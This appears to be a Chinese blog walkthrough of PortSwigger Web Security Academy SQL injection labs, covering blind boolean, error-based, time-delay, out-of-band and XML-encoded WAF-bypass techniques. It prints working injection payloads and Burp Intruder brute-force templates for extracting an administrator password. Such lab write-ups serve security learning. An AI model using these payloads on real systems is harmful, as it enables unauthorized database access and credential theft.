Burp Web Academy SQL 注入(二)
0x01. PortSwigger Web Security Academy
PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。
本篇文章讲解 Web Security Academy 之中的 SQL Injection(SQL 注入漏洞)。
0x02. SQL Injection
2.1 Lab: Blind SQL injection with conditional responses
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and no error messages are displayed. But the application includes a
Welcome back
message in the page if the query returns any rows.The database contains a different table called
users
, with columns calledusername
andpassword
. You need to exploit the blind SQL injection vulnerability to find out the password of theadministrator
user.To solve the lab, log in as the
administrator
user.You can assume that the password only contains lowercase, alphanumeric characters.
Blind SQL Injection 即盲注,指没有信息回显的场景下的 SQL 注入。
Cookie 如下:
1 | 200 OK |
携带正常的 TrackingId
Cookie 访问,会提示 Welcome back!
,一种简单的盲注测试方法:
- 发送
TrackingId=T6KH6I5if70PRMUs' and 1=2--
,没有Welcome back!
- 发送
TrackingId=T6KH6I5if70PRMUs' and 1=1--
,返回Welcome back!
说明 SQL 注入是存在的!后续测试 Payload 如下:
1 | TrackingId=T6KH6I5if70PRMUs' union select null-- |
很遗憾,这个方法并不能把查询到的数据返回给攻击者。需要再次利用盲注来爆破 administrator
用户的密码,根据提示,密码字符只包含小写字母和数字。我们已经有了一些已知信息,只需要基于 select password from users where username='administrator'
做一些额外的判断:
- 密码的长度是多少?
- 密码中每个字符又是什么?
首先,我们判断密码字符串的长度,在 Burp Intruder 中使用如下模板进行爆破,可以判断出密码长度为 20
。
1 | GET / |
随后,我们要依次判断密码字符串中每个字符的值(使用 Cluster bomb 模式):
1 | GET / |
请求发送次数为 length(password) * (26 + 10) = 20 * 36 = 720
。爆破完成后,对结果进行筛选后排序,即可恢复出密码的内容:
2.2 Lab: Blind SQL injection with conditional errors
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.
The database contains a different table called
users
, with columns calledusername
andpassword
. You need to exploit the blind SQL injection vulnerability to find out the password of theadministrator
user.To solve the lab, log in as the
administrator
user.
漏洞跟前应该是一样的,只不过没有任何回显了,只能靠错误信息来推测。这里如果 SQL 执行出错,会返回 HTTP/2 500 Internal Server Error
。
题目提示这是一个 Oracle 数据库,Oracle SQL 支持使用 ||
来连接字符串。此外,在 Oracle 中,有一个 dual
表用于测试:
DUAL
表本身只有一行,并且这行数据通常包含一个伪列(虚拟列),其名称为DUMMY
,且其值通常为'X'
。这意味着DUAL
表实际上并不包含任何实际业务数据,而是用于执行各种SQL操作时的占位符。
判断 SQL 注入:
TrackingId='
返回500
TrackingId=' AND 1=1--
返回200
还是参考 SQL Injection Cheat Sheet,测试如下语句,返回 500
:
1 | ' union SELECT CASE WHEN (length(username)=13) THEN TO_CHAR(1/0) ELSE NULL END FROM users where username='administrator'-- |
而如果把长度改成 13
以外的其他值,则返回 200
,说明 Payload 模板是 OK 的。这里的关键点是利用除零错误来抛出异常。
接下来,先使用 Burp Intruder 来爆破密码字段的长度:
1 | Cookie: TrackingId=' union SELECT CASE WHEN (length(password)=§0§) THEN TO_CHAR(1/0) ELSE NULL END FROM users where username='administrator'--; session=onKvT4PGNADwgSnNH9ExSZIiS9zQEtuj |
得出长度是 20
,然后使用 Cluster bomb 模式来爆破密码(注意 Oracle 中使用 substr
而不是 substring
):
1 | ' union SELECT CASE WHEN (substr(password,§0§,1)='§0§') THEN TO_CHAR(1/0) ELSE NULL END FROM users where username='administrator'-- |
爆破结果:
官方解法没有使用 union
,而是使用 ||
来拼接字符串:
1 | TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||' |
2.3 Lab: Visible error-based SQL injection
This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.
The database contains a different table called
users
, with columns calledusername
andpassword
. To solve the lab, find a way to leak the password for theadministrator
user, then log in to their account.
测试如下数据:
1 | Cookie: TrackingId=N0uh37abFCkNE6EZ'; session=V0QMalc9YRkLZzqq8aZiEKM0FiL2SL9o |
HTML 页面提示错误信息:
1 | Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = 'N0uh37abFCkNE6EZ''. Expected char |
这个题目是利用 cast
抛出异常来泄露信息,同时 SQL 查询字符串还有长度限制,所以解法有点取巧。
1 | GET / |
这里用了 ;
即 %3B
来分隔 SQL 语句,通过 limit 1
来泄露第一条数据,实际上就是 administrator
。
而如果不考虑长度,可以测试 union
:
1 | ' union select cast(password as int) from users where username='administrator'-- |
但实际上会提示(SQL 语句已经截断):
1 | Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = '' union select cast(password as int) from users where userna'. Expected char |
官方解法:
1 | ' AND cast((select password from users limit 1) as int)=1-- |
2.4 Lab: Blind SQL injection with time delays
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.
To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.
没有任何错误提示,只能慢慢测试,通过 sleep
来判断是否存在 SQL 注入漏洞。
实际上这是一个 PostgreSQL 数据库,使用 pg_sleep(10)
可以实现延时,关键是怎么和 select
进行拼接。由于 pg_sleep
返回 void
,所以:
- 无法通过
union
来拼接(要求列数、类型一致) - 无法通过
AND
等拼接(要求BOOL
) - 因为在 Cookie 中,所以也无法使用
;
可行的方法如下:
1 | Cookie: TrackingId=X' || pg_sleep(10)--; session=yMtu8nt3WDEDhimQZN3Cq6hbBTmZMmKe |
在 PostgreSQL 中,||
用于拼接字符串,而 void
可以和字符串拼接,尽管不产生任何作用。
1 | select 'a'||pg_sleep(1)||'b' -- ab |
此外,如下方法也可以:
1 | Cookie: TrackingId=X' OR pg_sleep(10) is null--; session=yMtu8nt3WDEDhimQZN3Cq6hbBTmZMmKe |
2.5 Lab: Blind SQL injection with time delays and information retrieval
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.
The database contains a different table called
users
, with columns calledusername
andpassword
. You need to exploit the blind SQL injection vulnerability to find out the password of theadministrator
user.To solve the lab, log in as the
administrator
user.
首先,通过如下语句,可以确认数据库类型为 PostgreSQL:
1 | TrackingId=mFKKwlWqebWsnHxd'||pg_sleep(10)--; |
接下来,需要一步一步测试出爆破的模板:
1)首先,我们的目标是需要先测试 password
字段的长度,看起来应该这么写 SQL:
1 | X' union |
2)我们可以先使用 username
来测试:
1 | X' union |
3)这里会出错,因为不管是什么条件,这里 select
都返回 void
,是没办法满足 union
的
4)考虑到上一题的解法,这里使用 ||
来拼接字符串:
1 | X' union |
5)这里还只有 1
列数据,我们可以先测试是否存在时延,如果是则说明就只有一列数据,否则还需要测试出数据列数
6)实际测试表明,确实只有一列数据
现在,爆破模板确认了,就可以测试出密码字段的长度了,模板如下:
1 | X' union |
在 Burp Intruder 中,确认时延的方法在 Burp Web Academy 鉴权漏洞 有讲,可以参考之。实际测试结果表明,密码字段的长度还是 20
。接下来,就需要挨个爆破密码字符了,题目本身没给提示,但我想密码字符应该还是 0123456789abcdefghijklmnopqrstuvwxyz
。
使用 Cluster Bomb 模式攻击:
1 | X' union select case when (substring(password,§1§,1)='§0§') then pg_sleep(20)||'a' else pg_sleep(0)||'b' end from users where username='administrator'-- |
注意,这里盲注的时延要设大一点,否则很可能难以和正常的请求区分开来(如果网络本身不是很好的话);最终的密码为 mw478rp4wz48m035ssf9
。
2.6 Lab: Blind SQL injection with out-of-band interaction
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.
参考了答案(是 Oracle 数据库),Payload 从 SQL injection cheat sheet 复制,替换 Burp Collaborator 域名,然后对 %;
进行 URL 编码即可。
1 | GET / |
2.7 Lab: Blind SQL injection with out-of-band data exfiltration
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.
The database contains a different table called
users
, with columns calledusername
andpassword
. You need to exploit the blind SQL injection vulnerability to find out the password of theadministrator
user.To solve the lab, log in as the
administrator
user.
直接套用 Cheat Sheet 的 Oracle Payload:
1 | GET / |
2.8 Lab: SQL injection with filter bypass via XML encoding
This lab contains a SQL injection vulnerability in its stock check feature. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables.
The database contains a
users
table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user’s credentials, then log in to their account.
发送带有特殊字符串的 Payload:
1 | POST /product/stock |
会提示检测到攻击行为:
1 | 403 Forbidden |
参考官方答案:
1 | <storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId> |
这里用到了一个名为 Hackvertor
的 Burp 插件,使用了他提供的 hex_entities
编码功能。查了一下,XML 支持使用 16 进制来编码 Unicode 字符:
Hexadecimal entities in XML are a way to represent characters using their Unicode code points. They are written in the format
&#xHHHH;
, whereHHHH
is the hexadecimal code of the character. This is useful for encoding special characters, symbols, or non-ASCII characters within an XML document.
1 |
|
知道了原理,我们就可以自己实现,而不用借助于插件了。而且测试下来发现,WAF 只检测了 union/select/'
,所以也可以简单点:
1 |
|
HTTP Response 直接返回了查询结果:
1 | 200 OK |
0x03. 小结
- SQL injection cheat sheet
- 盲注场景下的数据库表字段的值爆破
- length
- substring
- Oracle 使用
substr
- Oracle 使用
- 基于延时的盲注
- 合理设置盲注时延,防止网络本身的延迟或者不稳定产生干扰
- XML 16 进制编码
&#xHHHH;
- 充分利用服务器返回的错误信息来推断后台的运行逻辑